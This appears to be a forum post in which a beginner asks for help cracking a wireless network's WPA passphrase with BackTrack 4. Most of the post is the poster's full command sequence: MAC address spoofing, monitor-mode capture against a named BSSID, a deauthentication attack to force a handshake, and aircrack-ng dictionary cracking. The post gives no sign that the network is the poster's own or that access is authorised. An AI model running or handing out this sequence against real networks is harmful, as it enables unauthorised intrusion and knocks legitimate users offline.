I'm a newbie, just spent a lot of hours trying to hack a wireless network. I'm using a BackTrack 4 iso live cd to boot in BackTrack 4. I've spent a lot of hours to read a lot of "how to" guides, and I finally figured out how to do it. But when aircrack startet to "hack" the password, it just said "Passphare not in dictionary" after it tested 270 keys.

This is what i do:
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
airodump-ng wlan0

# then i choose a taget (channel, bssid, essid) #

airodump-ng -c 11 -w wpa -bssid 00:26:18:90:1D:4D wlan0

# then i open another shell #

aireplay-ng -0 5 -a 00:26:18:90:1D:4D wlan0

# then i get a WPA handshake #

aircrack-ng wpa-01.cap -w /pentest/wireless/aircrack-ng/test/password.lst

then aircrack starts propper, i think, and tests about 270 keys in less than 1 sec, and then it says: Passphrase not i dictionary quitting aircrack

What do i have to do?